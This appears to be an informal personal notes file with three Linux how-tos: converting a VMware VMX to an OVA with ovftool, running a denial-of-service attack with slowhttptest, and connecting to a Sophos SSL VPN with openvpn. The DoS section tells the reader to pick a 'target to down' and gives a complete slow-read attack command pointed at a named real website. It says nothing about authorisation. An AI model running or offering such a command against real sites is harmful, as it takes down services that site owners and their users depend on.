HOW TO CONVERT VMX FOR OVA (VIRTUAL HOST VMWARE TO VIRTUAL BOX)

First:

download ovftool from vmware site
https://my.vmware.com/group/vmware/details?downloadGroup=OVFTOOL350&productId=352

After, ./<file>.bundle  (that was downloaded before)

If you have some erro  like that: (vmware-installer.py:13737): Gtk-WARNING **: Unable to locate theme engine in module_path: "murrine"

apt-get install gtk2-engines-murrine

OR

apt-get install --reinstall gtk2-engines-murrine:i386

After install, you must used this parameter:

root@unknow:/home/andrevianna/Downloads/Mac OS X Leopard/Mac OS X Leopard# ovftool "Mac OS X Leopard.vmx" mac_.ova

HOW TO DO A DoS BY SLOWHTTPSTEST

Fisrt of all download slowhttptest

apt-get install slowhttptest 

After choose your target to down and 

# slowhttptest -c 65539 -X -g -o slow_read_stats -r 2000000 -w 512 -y 1024 -n 5 

-z 32 -k 3 -u http://lookdigital.com.br -p 3 -l 5000

HOW TO CONFIGURE VPN CLIENT SSL SOPHOS UTM ON LINUX

First of all start in:

apt-get install openvpn

After that go to your sophos user portal  like that

Remote Access/
SSL VPN/
Download file from linux/mac/bsd or solaris version

Now go for your terminal and uncompress the zip file that was downloaded and access the umcompress folder to find the file with extension .ovpn

after that start the command openvpn yourfile.ovpn

Insert on
Enter Auth Username:
Enter Auth Password:

The same user and password that was used on your user portal to connect like my next print, and done.

Obs.: Was tested on debian 8.x x64